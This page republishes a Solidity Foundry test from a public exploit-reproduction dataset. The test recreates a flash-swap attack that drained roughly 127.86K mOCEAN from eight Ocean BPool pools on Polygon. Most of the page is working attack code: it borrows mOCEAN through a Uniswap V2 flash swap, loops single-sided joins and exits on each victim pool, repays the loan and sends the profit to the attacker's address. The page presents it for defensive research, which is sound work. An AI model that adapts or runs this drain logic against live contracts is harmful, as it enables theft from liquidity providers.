Public reproduction file
src/test/2026-06/OceanBPoolSideStaking_exp.sol
Public reproduction file for dataset entry OceanBPoolSideStaking.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~127.86K mOCEAN8// Attacker : 0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf9// Attack Contract : 0xdd4bfd70117b5b6b343fc8d2c8c0075d095dbee510// Vulnerable Contract : 0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd11// Victim : 0xe7832A036da14dC3BBcEc5F73a8193221E9F0DA5, 0x2dd64bA8d9b9B1bB402Aa70214E1Fb1D7AF314a1, 0x25faf893edCef3b1C94029f01a088448669fcB9a, 0x1f5927CB77EA8449F0281ed14847A70d7A4f7053, 0x56A5cf2fB3f5b12e6c4bC4C0f100800D3735E522, 0x569C692125CF32bAF19E4ce713F9cf43e4c18c2C, 0x95f57249e6DD394318025068a8BFC841ac6eC0DD, 0x193F1cE9108644cD4d09C769d8DCD100F2B901D612// Attack Tx : https://polygonscan.com/tx/0x6dc8a7fba1303faef3ec7afa770b90b17ec5ecd73b51229277a9b0492e28579614// @Info15// Vulnerable BPool Code : https://polygonscan.com/address/0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd#code16// SideStaking Code : https://polygonscan.com/address/0x3efdd8f728c8e774ab81d14d0b2f07a8238960f4#code17// mOCEAN Proxy : https://polygonscan.com/address/0x282d8efce846a88b159800bd4130ad77443fa1a1#code19// @Analysis20// Twitter Guy : https://x.com/defimonalerts/status/207036266154028673521//22// The attacker flash-swapped mOCEAN, repeatedly performed max single-sided mOCEAN joins into Ocean BPool23// pools, and then exited BPT back to mOCEAN. BPool's join and exit math is asymmetric, and SideStaking24// automatically mirrored each single-sided join/exit with datatoken staking/unstaking, letting the attacker25// redeem more mOCEAN than was deposited.27address constant ATTACKER = 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf;28address constant ATTACK_CONTRACT = 0xDd4BFD70117b5B6B343fC8D2c8C0075d095dBEE5;29address constant BPOOL_IMPLEMENTATION = 0xBB3051dF2D3E408DAE6E6dAa2296BC6215F0dCFd;30address constant SIDE_STAKING = 0x3EFDD8f728c8e774aB81D14d0B2F07a8238960f4;31address constant MOCEAN = 0x282d8efCe846A88B159800bd4130ad77443Fa1A1;32address constant FLASH_PAIR = 0xEC554b30Ca0656Ea2404e85528C1d5F885e9E296;34interface IOceanBPool is IERC20 {35 function getBaseTokenAddress() external view returns (address);36 function getBalance(37 address token38 ) external view returns (uint256);39 function joinswapExternAmountIn(uint256 tokenAmountIn, uint256 minPoolAmountOut)40 external41 returns (uint256 poolAmountOut);42 function exitswapPoolAmountIn(uint256 poolAmountIn, uint256 minAmountOut)43 external44 returns (uint256 tokenAmountOut);45 function gulp(46 address token47 ) external;48}50contract ContractTest is BaseTestWithBalanceLog {51 uint256 private constant FORK_BLOCK = 89_107_756;52 uint256 private constant MIN_MOCEAN_PROFIT = 120_000 ether;53 uint256 private constant FLASH_BORROW_BPS = 9_900;54 uint256 private constant BPS_DENOMINATOR = 10_000;55 uint256 private constant UNISWAP_FEE_NUMERATOR = 1_000;56 uint256 private constant UNISWAP_FEE_DENOMINATOR = 997;57 uint256 private constant MAX_DRAIN_STEPS = 16;59 IERC20 private constant mocean = IERC20(MOCEAN);60 IUniswapV2Pair private constant flashPair = IUniswapV2Pair(FLASH_PAIR);62 address[8] private pools = [63 0xe7832A036da14dC3BBcEc5F73a8193221E9F0DA5,64 0x2dd64bA8d9b9B1bB402Aa70214E1Fb1D7AF314a1,65 0x25faf893edCef3b1C94029f01a088448669fcB9a,66 0x1f5927CB77EA8449F0281ed14847A70d7A4f7053,67 0x56A5cf2fB3f5b12e6c4bC4C0f100800D3735E522,68 0x569C692125CF32bAF19E4ce713F9cf43e4c18c2C,69 0x95f57249e6DD394318025068a8BFC841ac6eC0DD,70 0x193F1cE9108644cD4d09C769d8DCD100F2B901D671 ];73 function setUp() public {74 vm.createSelectFork("polygon", FORK_BLOCK);75 fundingToken = MOCEAN;76 attacker = ATTACKER;78 vm.label(ATTACKER, "Attacker");79 vm.label(ATTACK_CONTRACT, "Historical attack helper");80 vm.label(BPOOL_IMPLEMENTATION, "Ocean BPool implementation");81 vm.label(SIDE_STAKING, "Ocean SideStaking");82 vm.label(MOCEAN, "mOCEAN");83 vm.label(FLASH_PAIR, "mOCEAN flash pair");84 for (uint256 i; i < pools.length; ++i) {85 vm.label(pools[i], "Ocean vulnerable BPool");86 }87 }89 function testExploit() public balanceLog {90 uint256 attackerMOceanBefore = mocean.balanceOf(ATTACKER);92 // step 1: borrow nearly all mOCEAN from the same UniswapV2 pair used in the trace.93 uint256 borrowAmount = moceanPairReserve() * FLASH_BORROW_BPS / BPS_DENOMINATOR;94 require(borrowAmount > 0, "empty flash reserve");95 if (flashPair.token0() == MOCEAN) {96 flashPair.swap(borrowAmount, 0, address(this), bytes("mOCEAN flash swap"));97 } else {98 require(flashPair.token1() == MOCEAN, "unexpected pair");99 flashPair.swap(0, borrowAmount, address(this), bytes("mOCEAN flash swap"));100 }102 uint256 attackerMOceanProfit = mocean.balanceOf(ATTACKER) - attackerMOceanBefore;103 assertGt(attackerMOceanProfit, MIN_MOCEAN_PROFIT, "mOCEAN profit");104 }106 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata) external {107 require(msg.sender == FLASH_PAIR, "only flash pair");108 require(sender == address(this), "unexpected sender");109 uint256 borrowed = amount0 > 0 ? amount0 : amount1;111 // step 2: for each vulnerable pool, deposit mOCEAN, gulp the stale token reserve, then exit BPT.112 for (uint256 i; i < pools.length; ++i) {113 drainPool(IOceanBPool(pools[i]));114 }116 // step 3: repay the same-token UniswapV2 flash swap and forward the remaining mOCEAN profit.117 uint256 repayment = borrowed * UNISWAP_FEE_NUMERATOR / UNISWAP_FEE_DENOMINATOR + 1;118 mocean.transfer(FLASH_PAIR, repayment);119 mocean.transfer(ATTACKER, mocean.balanceOf(address(this)));120 }122 function drainPool(123 IOceanBPool pool124 ) private {125 require(pool.getBaseTokenAddress() == MOCEAN, "unexpected base token");126 mocean.approve(address(pool), type(uint256).max);128 uint256 joinSteps;129 while (mocean.balanceOf(address(this)) > 0 && joinSteps < MAX_DRAIN_STEPS) {130 uint256 maxIn = pool.getBalance(MOCEAN) / 2;131 if (maxIn > 0) --maxIn;132 uint256 amountIn = mocean.balanceOf(address(this));133 if (amountIn > maxIn) amountIn = maxIn;134 if (amountIn == 0) break;136 pool.joinswapExternAmountIn(amountIn, 0);137 ++joinSteps;138 }140 pool.gulp(MOCEAN);142 uint256 exitSteps;143 while (pool.balanceOf(address(this)) > 0 && exitSteps < MAX_DRAIN_STEPS) {144 uint256 maxPoolAmountIn = pool.totalSupply() / 4;145 uint256 poolAmountIn = pool.balanceOf(address(this));146 if (poolAmountIn > maxPoolAmountIn) poolAmountIn = maxPoolAmountIn;147 if (poolAmountIn == 0) break;149 pool.exitswapPoolAmountIn(poolAmountIn, 0);150 ++exitSteps;151 }152 }154 function moceanPairReserve() private view returns (uint256 reserve) {155 (uint112 reserve0, uint112 reserve1,) = flashPair.getReserves();156 reserve = flashPair.token0() == MOCEAN ? uint256(reserve0) : uint256(reserve1);157 }158}Analysis
Dataset entry
Public Foundry test for “OceanBPoolSideStaking” (2026-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf
- Attack Contract
0xdd4bfd70117b5b6b343fc8d2c8c0075d095dbee5
- Vulnerable Contract
0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd
- Victim
0x2dd64ba8d9b9b1bb402aa70214e1fb1d7af314a1
- Attack Tx
0x6dc8a7fba1303faef3ec7afa770b90b17ec5ecd73b51229277a9b0492e285796
- Twitter: https://x.com/defimonalerts/status/2070362661540286735
- Explorer: https://polygonscan.com/address/0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd#code
- Explorer: https://polygonscan.com/address/0x3efdd8f728c8e774ab81d14d0b2f07a8238960f4#code
- Explorer: https://polygonscan.com/address/0x282d8efce846a88b159800bd4130ad77443fa1a1#code
File record
- Name
- OceanBPoolSideStaking
- Path
- src/test/2026-06/OceanBPoolSideStaking_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1116365da0be97f741abef51af73375f1c45c01a
- Language
- Solidity
- Size
- 159 lines
- Date
- 2026-06-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/OceanBPoolSideStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1116365da0be97f741abef51af73375f1c45c01a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.